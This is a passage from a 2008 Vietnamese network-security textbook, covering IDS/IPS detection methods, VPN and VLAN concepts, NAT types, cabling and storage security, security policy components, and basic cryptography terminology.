thuật gọi là ‘dò tìm dấu hiệu’ (Signature Detection). Kỹ thuật này tương tự rất
nhiều các chương trình diệt virus- sử dụng các dấu hiệu virus để nhận dạng và
khóa các tệp tin, chương trình… bị nhiễm; nhưng thay vì dấu hiệu virus, ở đây là
cơ sở dữ liệu về lưu thông mạng hoặc các dấu hiệu tấn công (Attack signatures).
Đây là loại kỹ thuật được dùng phổ biến nhất hiện nay. Ngoài ra, còn có một loại
IDS/IPS sử dụng kỹ thuật gọi là ‘dò tìm bất thường’ (Anomaly Detection). Nó sử
dụng các luật (rules) hay các định nghĩa được thiết lập trước về sự ‘bình thường’
(Normal) và ‘bất thường’ (Anomal) của hoạt động hệ thống để kiểm soát, báo cáo
và ngăn chặn các hoạt động bất thường nếu có. Hiện tại, loại IDS/IPS này chưa
thật phổ biến, tuy nhiên, hầu hết giới chuyên gia đều cho rằng kỹ thuật này sẽ rất
phát triển trong tương lai.

Chúng ta sẽ tìm hiểu sâu hơn một chút về điểm mạnh yếu của hai kỹ thuật trên:

2.2.1. Signature-based IDS/IPS

Pros:

 Phát hiện rất chính xác các dấu hiệu tấn công đã biết.

 Cấu hình dễ dàng.


62
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Cons:

 Phải thường xuyên cập nhật cơ sở dữ liệu về các dấu hiệu tấn công.

 Không phát hiện được các kỹ thuật tấn công mới.

2.2.2. Anomaly-based IDS/IPS

Pros:

 Có khả năng phát hiện cả kỹ thuật tấn công mới.

Cons:

 Việc xây dựng một mốc cơ sở (Base line) đòi hỏi sự thu thập thông tin toàn
diện và lâu dài. Trong quá trình IDS xây dựng mốc cơ sở, hệ thống không có
khả năng phát hiện/phòng chống xâm nhập.

 Tính tương đối của việc hệ thống hoạt động “bình thường” và “bất thường”
khiến việc xác định các cuộc tấn công đôi khi chưa thật sự chính xác  Phát
hiện nhầm.

 Cấu hình khá phức tạp.

63
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 4. MẠNG RIÊNG ẢO

1. Khái niệm

VPN là một mạng riêng sử dụng hệ thống mạng công cộng (thường là Internet) để
kết nối các địa điểm hoặc người dùng từ xa với một mạng LAN ở trụ sở trung tâm.
Thay vì dùng kết nối thật khá phức tạp như đường dây thuê bao số, VPN tạo ra các
liên kết ảo được truyền qua Internet giữa mạng riêng của một tổ chức với địa điểm
hoặc người dùng ở xa. Thông thường, người dung từ xa đơn giản chỉ cần có kết nối
tới nhà cung cấp dịch vụ và sau đó họ sử dụng các phần mềm VPN Client để tạo
kết nối VPN tới trung tâm. Khi đó, người dùng có thể sử dụng tài nguyên hệ thống,
trao đổi dữ liệu nội bộ như thể họ đang nằm trong mạng LAN của trung tâm.

Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu
hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay
toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm
được được chi phí và thời gian.

Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính),
các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng'
tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.

64
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2. Các loại VPN

Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN
điểm-nối-điểm (site-to-site).

2.1. VPN truy cập từ xa

VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối
người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần
liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty
muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp
(ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những
người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người
sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm VPN
máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các
kết nối an toàn, có mật mã.

Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại gia hoặc
nhân viên di động là loại VPN truy cập từ xa).

2.2. VPN điểm-nối-điểm

VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều
điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có
thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài
địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một
VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một
công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp,
khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN
với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.

Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là
loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN
Extranet.

VPN sử dụng một số giao thức trong việc mã hóa đường truyền bao gồm Secure
Internet Protocol (IPSec), Layer 2 Tunneling Protocol (L2TP), Point to Point
Tunneling Protocol (PPTP) và SSH. IPSec hiện tại được coi là giao thức được sử
dụng phổ biến nhất khi triển khai VPN, tiếp theo là các giao thức L2TP và PPTP.
65
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

SSH cũng là một giao thức hỗ trợ cả VPN trên nền HĐH Windows, tuy nhiên nó
được dùng nhiều hơn ở VPN trên nền UNIX.

Các giao thức này sẽ được đề cập cụ thể hơn ở phần sau – phần Mã Hóa.

66
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 5. VLAN

1. Khái niệm

- Broadcast domain: là một vùng logic trong mạng máy tính, nơi mà bất cứ máy
tính hay thiết bị mạng nào kết nối vào mạng đó thì chúng có thể truyền phát trực
tiếp đến bất cứ máy tính hay thiết bị mạng nào trong vùng. Vấn đề này có thể hiểu
một cách rõ nét hơn khi ta nhìn nhận trên một thiết bị chuyển mạch: khi một máy
tính hay thiết bị gửi một gói tin đến thiết bị chuyển mạch thì thiết bị chuyển mạch
sẽ phát tán đến tất cả các cổng mạng còn lại, lúc này tất cả các cổng trên thiết bị
chuyển mạch được xem là thuộc cùng một broadcast domain, và nếu thiết bị
chuyển mạch này kết nói đến thiết bị chuyển mạch khác thì tất cả các cổng trên
thiết bị chuyển mạch này cũng thuộc về broadcast domain của cổng (và có thể là
tất cả các cổng còn lại) của thiết bị chuyển mạch mà nó kết nối đến.

- Collision domain: là một vùng logic trong mạng máy tính, nơi mà các gói dữ
liệu có thể xung đột với một gói dữ liệu khác, đặc biệt là trong giao thức mạng
ethernet. Một collision domain có thể là một segment đơn lẻ của cáp mạng
ethernet, một hub mạng, hay thậm chí là toàn bộ hệ thống mạng với các hub và
repeater liên kết với nhau.

- VLAN (Virtual Local Area Network) có thể định nghĩa đơn giản như một tập hợp
các cổng của 1 hay nhiều switch nằm trong cùng một Broadcast Domain.

2. Ứng dụng của VLAN

2.1. Tiết kiệm chi phí

Giả sử một công ty có 3 bộ phận là: Engineering, Marketing, Accounting, mỗi bộ


phận trên lại trải ra trên 3 tầng. Để kết nối các máy tính trong một bộ phận với
nhau thì ta có thể lắp cho mỗi tầng một switch. Điều đó có nghĩa là mỗi tầng phải
dùng 3 switch cho 3 bộ phận, nên để kết nối 3 tầng trong công ty cần phải dùng tới
9 switch. Rõ ràng cách làm trên là rất tốn kém mà lại không thể tận dụng được hết
số cổng (port) vốn có của một switch. Chính vì lẽ đó, giải pháp VLAN ra đời nhằm
giải quyết vấn đề trên một cách đơn giản mà vẫn tiết kiệm được tài nguyên.

67
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.2. Tiết kiệm băng thông của hệ thống mạng

VLAN chia mạng LAN thành nhiều đoạn (segment) nhỏ, mỗi đoạn đó là một vùng
quảng bá (broadcast domain). Khi có gói tin quảng bá (broadcast), nó sẽ được
truyền duy nhất trong VLAN tương ứng. Do đó việc chia VLAN giúp tiết kiệm
băng thông của hệ thống mạng.

2.3. Tăng khả năng bảo mật

Do các thiết bị ở các VLAN khác nhau không thể truy nhập vào nhau (trừ khi ta sử
dụng router nối giữa các VLAN). Như trong ví dụ trên, các máy tính trong VLAN
kế toán (Accounting) chỉ có thể liên lạc được với nhau. Máy ở VLAN kế toán
không thể kết nối được với máy tính ở VLAN kỹ sư (Engineering).

2.4. Dễ dàng thêm hay bớt máy tính vào VLAN

Việc thêm một máy tính vào VLAN rất đơn giản, chỉ cần cấu hình cổng cho máy
đó vào VLAN mong muốn.

2.5. Giúp mạng có tính linh động cao

VLAN có thể dễ dàng di chuyển các thiết bị. Giả sử trong ví dụ trên, sau một thời
gian sử dụng công ty quyết định để mỗi bộ phận ở một tầng riêng biệt. Với VLAN,
ta chỉ cần cấu hình lại các cổng switch rồi đặt chúng vào các VLAN theo yêu cầu.

68
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 6. NETWORK ADDRESS TRANSLATION

1. Khái niệm

Network Address Translation (NAT) là 1 quá trình mà trong đó một thiết bị mạng
(thường là Firewall, Modem, Router) cung cấp 1 đại chỉ public (internet) cho 1
hoặc nhiều máy tính nằm bên trong vùng internal. NAT cung cấp một số lợi ích,
một trong số đó là cung cấp khả năng giấu địa chỉ IP cũng như thiết kế hệ thống
mạng nội bộ. Điều này ngăn ngừa khả năng hacker từ bên ngoài thu thập thông tin
về hệ thống nội bộ và khai thác các thông tin đó để tiến hành xâm nhập. Nếu
hacker không thể biết cấu trúc mạng nội bộ, địa chỉ IP, chức năng từng thiết bị… ,
hacker sẽ khó có thể tấn công vào hệ thống.

NAT còn cho phép hệ thống nội bộ sử dụng địa chỉ IP dành riêng (Private IP)
nhưng vẫn có khả năng kết nối đến tài nguyên bên ngoài (internet). Điều này giúp
tiết kiệm địa chỉ IP tĩnh (Public IP), và qua đó tiết kiệm chi phí đầu tư của doanh
nghiệp.

2. Phân loại NAT

Hiện tại có 3 loại công nghệ NAT phổ biến là :

2.1. Static NAT (NAT tĩnh)

69
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Là loại công nghệ NAT ra đời đầu tiên. NAT tĩnh chỉ cho phép 1 địa chỉ bên ngoài
(Public IP) đại diện cho 1 địa chỉ bên trong (Private IP).

Hiện tại công nghệ này ít được sử dụng do hạn chế trên.

2.2. Dynamic NAT hay Pooled NAT (NAT động)

Công nghệ này linh hoạt hơn so với công nghệ NAT tĩnh.

Công nghệ này cho phép nhiều địa chỉ bên ngoài (Public IP) đại diện cho nhiều
địa chỉ bên trong (Private IP). Tuy nhiên, tại cùng 1 thời điểm, số địa chỉ bên trong
được NAT tối đa bằng số địa chỉ bên ngoài.

2.3. Port Address Translation (PAT)


Đây là công nghệ NAT hiện đang được sử dụng nhiều nhất do tính ưu việt của nó.

70
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PAT cho phép chỉ 1 địa chỉ IP public đại diện cho rất nhiều địa chỉ bên trong bằng
cách gán các cổng khác nhau cho từng kết nối và lưu các thông tin vào bảng PAT.
Khi nhận gói tin trả về, PAT sẽ so sánh với bảng PAT để chuyển gói tin đến đúng
nguồn kết nối.

71
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 7. AN NINH TRUYỀN DẪN VÀ LƯU TRỮ

1. Cáp đồng trục

Công nghệ này tồn tại một số điểm yếu. Đó là chúng dễ dàng bị lợi dụng để tấn
công từ chối dịch vụ (DOS attack) bằng cách cắt cáp hoặc ngắt cáp khỏi một thiết
bị nào đó trong mạng. Ngoài ra, với mạng dùng cáp đồng trục, hacker có thể dễ
dàng xâm nhập vào mạng bằng cách cắt cáp rồi cắm vào máy của mình.

Những điểm yếu này tồn tại do cách hoạt động của mạng dùng cáp đồng trục- đó là
mô hình mạng tuyến tính (Bus topology), tất cả các thiết bị đều phải kết nối vào
mạng để đảm bảo mạng đóng. Do vậy, khi một thiết bị bị ngắt khỏi mạng hoặc cáp
bị đứt ở bất kì đâu, toàn bộ mạng sẽ tê liệt.

Cáp đồng trục

72
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bus topology

2. Cáp UTP/STP

Cáp xoắn không bọc (Unshielded Twisted Pair - UTP) và cáp xoắn có bọc
(Shieded Twisted Pair - STP) là 2 loại cáp được dùng phổ biến nhất hiện nay. Các
loại cáp này đều hỗ trợ nhiều mô hình mạng: Mạng tuyến tính, mạng vòng, mạng
hình sao…

Điểm yếu lớn nhất của cáp UTP là không chống được nhiễu gây ra bởi hiện tượng
giao thoa điện từ (Electromagnetic Interference – EMI) và giao thoa tần số sóng vô
tuyến (Radio Frequency Interference – RFI). Do vậy, người ta thường phải đặt cáp
UTP cách xa so với đường dây điện. Cáp STP được bọc một lớp lưới kim loại có
thể khử được nhiễu nhưng lại gặp vấn đề về chi phí cũng như sự dễ dàng trong
triển khai.

3. Cáp Quang

Để khắc phục nhược điểm của cáp đồng người ta đã cho ra đời cáp quang cùng với
những tính năng ưu việt hơn. Không giống như cáp đồng truyền tín hiệu bằng điện,
cáp quang dùng ánh sáng để truyền tín hiệu đi. Chính vì sự khác biệt đó mà cáp
quang ít bị nhiễu, tốc độ cao và truyền xa hơn.

Cấu tạo cáp quang

73
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Cáp quang dài, mỏng thành phần của thủy tinh trong suốt bằng đường kính của
một sợi tóc. Chúng được sắp xếp trong bó được gọi là cáp quang và được sử dụng
để truyền tín hiệu trong khoảng cách rất xa. Cáp quang có cấu tạo gồm dây dẫn
trung tâm là sợi thủy tinh hoặc plastic đã được tinh chế nhằm cho phép truyền đi
tối đa các tín hiệu ánh sáng. Sợi quang được tráng một lớp lót nhằm phản chiếu tốt
các tín hiệu.

Ưu điểm

• Chi phí - Chi phí thấp hơn so với cáp đồng

• Mỏng hơn - Cáp quang được thiết kế có đường kính nhỏ hơn cáp đồng.

• Dung lượng tải cao hơn - Bởi vì sợi quang mỏng hơn cáp đồng, nhiều sợi quang
có thể được bó vào với đường kính đã cho hơn cáp đồng. Điều này cho phép nhiều
kênh đi qua cáp của bạn.

• Suy giảm tín hiệu ít - Tín hiệu bị mất trong cáp quang ít hơn trong cáp đồng.

• Tín hiệu ánh sáng - Không giống tín hiệu điện trong cáp đồng, tín hiệu ánh sáng
từ sợi quang không bị nhiễu với những sợi khác trong cùng cáp. Điều này làm cho
chất lượng tín hiệu tốt hơn.

• Sử dụng điện nguồn ít hơn - Bởi vì tín hiệu trong cáp quang giảm ít, máy phát có
thể sử dụng nguồn thấp hơn thay vì máy phát với điện thế cao được dùng trong cáp
đồng.

• Tín hiệu số - Cáp quang lý tưởng thích hợp để tải thông tin dạng số mà đặc biệt
hữu dụng trong mạng máy tính.

• Không cháy - Vì không có điện xuyên qua cáp quang, vì vậy không có nguy cơ
hỏa hạn xảy ra.

Hiện tại, cáp quang được coi là phương tiện truyền dẫn an toàn. Tuy nhiên, một số
thông tin không chính thức gần đây cho biêt, chính phủ Nga đã chế tạo được một
thiết bị có thể nghe lén thông tin truyền qua cáp quang thông qua cơ chế phân tích
bước sóng.

74
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

4. Các thiết bị lưu trữ

Các thiết bị lưu trữ thường có:

 Băng từ

 Đĩa CD/DVD

 Ổ cứng

 USB

 Smartcards

Nhìn chung, đây là các thiết bị lưu trữ nhỏ gọn, dễ di chuyển, nên cần chú ý đến
nguy cơ bị mất cắp thiết bị.

Ngoài ra, với các thiết bị như USB, Smartcards, cần tránh lưu giữ những dữ liệu
quan trọng, nên mã hóa dữ liệu cũng như cung cấp các cơ chế xác thực.

Với ổ đĩa cứng, nên sử dụng các cơ chế mã hóa dữ liệu, tăng tính dự phòng bằng
cách sử dụng Raid…

75
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 8. CHÍNH SÁCH AN NINH MẠNG

1. Khái niệm

An ninh mạng là một khía cạnh của an ninh thông tin nói chung. An ninh mạng
tập trung vào các vấn đề liên quan đến mạng máy tính nói chung của tổ chức từ hạ
tầng mạng đến các dịch vụ mạng, các ứng dụng mạng hay yếu tố con người khi
tham gia vào hoạt động mạng… Do vậy, chúng ta sẽ tìm hiểu các khái niệm tổng
quan về an ninh thông tin. Từ đó có được khái niệm về an ninh mạng.

An ninh mạng cũng như An ninh thông tin được định nghĩa qua ba yêu cầu sau:

1. Tính tin cậy (Confidentiality): đảm bảo thông tin chỉ không bị truy nhập trái
phép bởi một bên thứ ba.

2. Tính toàn vẹn (Integrity): Bảo vệ sự chính xác, đầy đủ của thông tin và cách
thức xử lý thông tin.

3. Tính sẵn sàng (Availability): Đảm bảo những người được cấp quyền có thể
truy nhập thông tin

Thời gian gần đây, do sự xuất hiện của thương mại điện tử, người ta nhấn mạnh
thêm 2 yêu cầu nữa, đó là:

4. Tính xác thực (Authentication): Thông tin phải được đảm bảo có nguồn gốc,
xuất xứ rõ ràng.

5. Tính không thể thoái thác (Non-repudiation): Các bên tham gia quá trình
trao đổi thông tin không thể từ chối công nhận một hành động nào đó đã
thực hiện.

Để đảm bảo được những yêu cầu trên, việc đầu tiên tổ chức cần làm là thiết lập
một chính sách an ninh mạng. Một chính sách an ninh mạng sẽ xác định rõ nhu cầu
của tổ chức, đảm bảo mạng máy tính hoạt động đúng, an toàn và có các quy trình
nhằm ngăn ngừa và xử lý khi có sự cố về an ninh. Một chính sách an ninh mạng là
nền tảng trong việc bảo mật mạng vì nó chỉ rõ những tài nguyên mạng nào cần bảo
vệ và những nguy cơ có thể xảy đến đối với tài nguyên đó. Chính sách an ninh
mạng cũng đánh giá một cách cụ thể từng tài nguyên mạng, so sánh nó với giá trị
76
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

sử dụng, khả năng bị khai thác trái phép, tổn thất gây ra nếu bị lợi dụng… nhằm
đưa ra các mức bảo vệ khác nhau.

2. Các thành phần của một chính sách an ninh mạng

Mỗi chính sách an ninh mạng được xây dựng với mỗi tổ chức là khác nhau. Nó
phụ thuộc vào nhiều yếu tố như nhu cầu về an ninh mạng của tổ chức, khả năng
đáp ứng về mặt chi phí, nhân lực… Tuy nhiên, một chính sách an ninh mạng về cơ
bản có những thành phần sau:

 Các chính sách về an ninh lớp vật lý (Physical Security)

o Chính sách về an ninh lớp vật lý thường bao gồm việc xây dựng mô hình
mạng (1-site hay multi-site…), các thiết bị mạng được bảo vệ thế nào, ai
được truy cập vào những vị trí đặc biệt như phòng data-center, phòng
IT…

 Các chính sách về an ninh lớp Mạng (Network Security)

o Chính sách về an ninh lớp mạng chỉ rõ các thiết bị mạng, tài nguyên
mạng được bảo về bằng cách nào. Nó có thể bao gồm các tiêu chuẩn liên
quan đến việc kiểm soát truy cập (access control), tường lửa, giám sát
thống kê ở lớp Mạng, truy cập từ xa, dịch vụ thư mục (directory
services), dịch vụ Internet…

 Các chính sách kiểm soát truy cập (Access Control)

o Kiểm soát truy cập sẽ xác định rõ ai được truy cập tới cái gì. Và làm thế
nào để đảm bảo được chính xác chỉ đúng người được phép mới truy cập
được tới đúng thông tin hoặc dịch vụ nào đó. Một chính sách kiểm soát
truy cập tốt là một chính sách đơn giản và vẫn đảm bảo được yêu cầu
kiểm soát.

 Các chính sách về xác thực (Authentication)

o Các chính sách về xác thực xác định cách xác thực nào đối với từng
nhóm người dùng và với từng loại tài nguyên, dịch vụ họ truy cập.

77
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ví dụ: Người dùng chỉ cần nhập Username/password khi muốn đăng
nhập vào máy tính của mình, nhưng muốn ra internet, họ bắt buộc phải
sử dụng cùng với Smart Card.

 Các chính sách về mã hóa (Encryption)

o Chính sách về mã hóa nhằm đảm bảo sự toàn vẹn của dữ liệu, và bảo vệ
những thông tin nhạy cảm khi truyền qua những môi trường không an
toàn.

 Các chính sách về sự tuân thủ (Compliance)

o Chính sách về sự tuân thủ đảm bảo mọi đối tượng trong phạm vi áp dụng
phải tuân thủ những quy định trong chính sách. Nó cũng chỉ ra các
phương pháp để nhận biết sự không tuân theo của một đối tượng nào đó
hay mức phạt áp dụng đối với từng sự vi phạm.

 Các chính sách về giám sát thống kê (Auditing)

o Khi một chính sách được thiết lập, điều quan trọng là nó phải được giám
sát và thống kê thường xuyên để đảm bảo tất cả các thành phần tham gia
đã và đang tuân theo.

 Các chính sách về nhận thức an ninh mạng (Security Awareness)

o Nhận thức của nguời dùng là một phần quan trọng hàng đầu của việc
đảm bảo an ninh mạng. Các chính sách về nhận thức an ninh mạng nhằm
đảm bảo người dùng có sự hiểu biết đầy đủ về các nguy cơ an ninh mạng,
tránh trường hợp người dùng vô tình gây hại cho hệ thống hoặc bị lợi
dụng để làm điều đó. Thông thường, người dùng cần được trang bị kiến
thức về cách bảo vệ mật khẩu của họ cũng như các thủ đoạn lừa đảo trên
mạng (Social Engineering Attacks)

 Các chính sách về phòng chống thảm họa (Disaster Recovery)

o Chính sách về phòng chống thảm họa xác định rõ làm thế nào để hoạt
động mạng của tổ chức được phục hồi nhanh chóng sau khi có bất kể loại

78
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

thảm họa tự nhiên (cháy, nổ ,động đất, bảo lụt…) hay cuộc tấn công nào
xảy ra.

Ví dụ: Chính sách về phòng chống thảm họa sẽ bao gồm việc backup hệ
thống (backup theo kiểu gì, backup thường xuyên thế nào, backup cái
gì…), xác định những đối tượng tham gia xử lý khi có sự cố xảy ra, việc
xây dựng kỹ năng cho những người tham gia xử lý sự cố…

 Chính sách sử dụng phần mềm (Software Security)

o Chính sách sử dụng phần mềm quy định những phần mềm nào được sử
dụng trên máy chủ, máy trạm và các thiết bị mạng khác. Chính sách cũng
xác định rõ người được phép mua và cài đặt phần mềm trên các máy.

Như đã đề cập ở trên, mỗi tổ chức có những yêu cầu và điều kiện khác nhau nên
chính sách an ninh mạng cũng khác nhau. Tuy nhiên, khi xây dựng một chính sách
an ninh mạng, những người có trách nhiệm nên tham khảo các chính sách an ninh
mạng mẫu (template) để có sự quy chuẩn.

79
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 9. CÁC NGUYÊN TẮC CƠ BẢN


Sau khi thiết kế được một chính sách an ninh mạng phù hợp, nhu cầu tiếp theo là
phải xây dựng hệ thống dựa trên chính sách đó.

Về cơ bản, việc xây dựng một hệ thống mạng bảo mật gồm 4 bước chính sau:

 Bước 1 (Security): Xây dựng các


giải pháp bảo mật

Tiến hành nghiên cứu, xây dựng


các giải pháp bảo mật phù hợp.

 Bước 2 (Monitor): Kiểm tra, giám


sát hệ thống

Kiểm soát hoạt động, đánh giá tính


an toàn của hệ thống.

Duy trì tính ổn định, bảo mật của


hệ thống.

 Bước 3 (Test): Kiểm tra

Thực hiện kiểm tra các điểm yếu của hệ thống, phân tích các nguy cơ có thể
ảnh hưởng đến hệ thống.

 Bước 4 (Improve): Thông qua giải pháp

Sử dụng những thông tin thu được từ bước 2 và 3 để có đánh giá chính xác
về khả năng đáp ứng về bảo mật của hệ thống.

Điều chỉnh chính sách an ninh mạng và các giải pháp bảo mật nếu xuất hiện
những lỗ hổng và nguy cơ phát sinh.

80
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 3
MÃ HÓA

81
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Thế kỷ XXI thế kỷ công nghệ thông tin, thông tin đã và đang tác động trực tiếp đến
mọi mặt hoạt động kinh tế xã hội của hầu hết các quốc gia trên thế giới. Thông tin
có một vai trò hết sức quan trọng, bởi vậy chúng ta phải làm sao đảm bảo đư tính
trong suốt của thông tin nghĩa là thông tin không bị sai lệch, bị thay đổi, bị lộ trong
quá trình truyền từ nơi gửi đến nơi nhận.

Với sự phát triển rất nhanh của công nghệ mạng máy tính đặc biệt là mạng
INTERNET thì khối lượng thông tin ngày càng chuyển tải nhiều hơn. Những tập
đoàn công nghiệp, những công ty đa quốc gia, thị trường chứng khoán tiến hành
xử lý và truyền nhận những thông tin đắt giá, những phiên giao dịch hay mua bán
cổ phiếu, trái phiếu đều được tiến hành qua mạng. Giờ đây với sự tăng trưởng
nhanh của các siêu thị điện tử, thương mại điện tử thì hàng ngày có một khối lượng
tiền rất lớn được lưu chuyển trên mạng toàn cầu INTERNET, vấn đề khó khăn đặt
ra là làm sao giữ được thông tin bí mật và giữ cho tiền đến đúng được địa chỉ cần
đến.

Bạn sẽ ra sao nếu như bạn gửi thư cho một người bạn nhưng lại bị một kẻ lạ mặt
nào đó xem trộm và sửa đổi nội dung bức thư trái với chủ ý của bạn, tệ hại hơn nữa
là khi bạn ký một hợp đồng, gửi thông qua mạng và lại bị kẻ xấu sửa đổi những
điều khoản trong đó, và sẽ còn nhiều điều tương tự như vậy nữa ... Hậu quả sẽ như
thế nào nhỉ ? Bạn bị người khác hiểu nhầm vì nội dung bức thư bị thay đổi, còn
hợp đồng bị phá vỡ bởi những điều khoản đã không còn nguyên vẹn. Như vậy là cả
tình cảm, tiền bạc của bạn và nói rộng hơn là cả sự nghiệp của bạn đều bị đe dọa
nếu như những thông tin mà bạn gửi đi không đảm bảo được tính nguyên vẹn của
chúng. Mã hoá là một trong các phương pháp đảm bảo được tính trong suốt của
thông tin. Nó có thể giải quyết các vấn rắc rối ở trên giúp bạn, một khi thông tin đã
được mã hoá và gửi đi thì kẻ xấu rất khó hoặc không thể giải mã được.
82
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 1. CĂN BẢN VỀ MÃ HÓA


Trước khi tìm hiểu về mã hóa, cần làm rõ 1 số thuật ngữ căn bản sau:

-Bản rõ (plaintext hay cleartext)

Chứa các xâu ký tự gốc, thông tin trong bản rõ là thông tin cần mã hoá để
giữ bí mật.

-Bản mã (ciphertext)

Chứa các ký tự sau khi đã được mã hoá, mà nội dung được giữ bí mật.

-Mật mã học (Crytography)

Là nghệ thuật và khoa học để giữ thông tin được an toàn.

-Sự mã hoá (Encryption)

Quá trình che dấu thông tin bằng phương pháp nào đó để làm ẩn nội dung
bên trong gọi là sự mã hoá.

-Sự giải mã (Decryption)

Quá trình biến đổi trả lại bản mã bản thành bản rõ gọi là giải mã.

Quá trình mã hoá và giải mã được thể hiện trong sơ đồ sau:

Bản rõ Bản Bản rõ gốc


Mã hoá mã Giải mã

-Hệ mật mã : là một hệ bao gồm 5 thành phần (P, C, K, E, D) thoả mãn các tính
chất sau

83
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

P (Plaintext) là tập hợp hữu hạn các bản rõ có thể.

C (Ciphertext) là tập hợp hữu hạn các bản mã có thể.

K (Key) là tập hợp các bản khoá có thể.

E (Encrytion) là tập hợp các qui tắc mã hoá có thể.

D (Decrytion) là tập hợp các qui tắc giải mã có thể.

Chúng ta đã biết một thông báo thường được tổ chức dưới dạng bản rõ. Người gửi
sẽ làm nhiệm vụ mã hoá bản rõ, kết quả thu được gọi là bản mã. Bản mã này được
gửi đi trên một đường truyền tới người nhận sau khi nhận được bản mã người nhận
giải mã nó để tìm hiểu nội dung.

Dễ dàng thấy được công việc trên khi sử dụng định nghĩa hệ mật mã :

EK( P) = C và DK( C ) = P

84
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 2. CÁC THUẬT TOÁN MÃ HÓA

1. Khái niệm

- Một thuật toán mã hóa là một quy tắc, một hệ thống hoặc là một cơ chế được sử
dụng để mã hóa thông tin.

- Độ an toàn của thuật toán: Nguyên tắc đầu tiên trong mã hoá là “Thuật toán nào
cũng có thể bị phá vỡ”. Các thuật toán khác nhau cung cấp mức độ an toàn khác
nhau, phụ thuộc vào độ phức tạp để phá vỡ chúng. Tại một thời điểm, độ an toàn
của một thuật toán phụ thuộc:

+ Nếu chi phí hay phí tổn cần thiết để phá vỡ một thuật toán lớn hơn giá trị
của thông tin đã mã hóa thuật toán thì thuật toán đó tạm thời được coi là an toàn.

+ Nếu thời gian cần thiết dùng để phá vỡ một thuật toán là quá lâu thì thuật
toán đó tạm thời được coi là an toàn.

+ Nếu lượng dữ liệu cần thiết để phá vỡ một thuật toán quá lơn so với lượng
dữ liệu đã được mã hoá thì thuật toán đó tạm thời được coi là an toàn

Từ tạm thời ở đây có nghĩa là độ an toàn của thuật toán đó chỉ đúng trong một thời
điểm nhất định nào đó, luôn luôn có khả năng cho phép những người phá mã tìm ra
cách để phá vỡ thuật toán. Điều này chỉ phụ thuộc vào thời gian, công sức, lòng
đam mê cũng như tính kiên trì bên bỉ. Càng ngày tốc độ xử lý của CPU càng cao,
tốc độ tính toán của máy tính ngày càng nhanh, cho nên không ai dám khẳng định
chắc chắn một điều rằng thuật toán mà mình xây dựng sẽ an toàn mãi mãi.

Khóa : Đặc biệt, độ an toàn của thuật toán mã hóa còn phụ thuộc vào độ dài của
khóa. Một khóa mã hóa là một phần thông tin đặc biệt được kết hợp với một thuật
toán để thi hành mã hóa và giải mã. Sử dụng khóa càng phức tạp, mã hóa càng
mạnh.

+ Ví dụ: Xét phương pháp mã hóa sau: “thay thế mỗi ký tự xuất hiện trong xâu
bằng ký tự đứng sau nó 3 ký tự theo bảng chữ cái alphabet”. Ở đây thuật toán là
chuyển dịch ký tự, và khóa là 3 ký tự về phía sau.

85
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2. Phân loại các thuật toán mã hoá

Có rất nhiều các thuật toán mã hoá khác nhau. Từ những thuật toán được công khai
để mọi người cùng sử dụng và áp dụng như là một chuẩn chung cho việc mã hoá
dữ liệu; đến những thuật toán mã hoá không được công bố. Có thể phân loại các
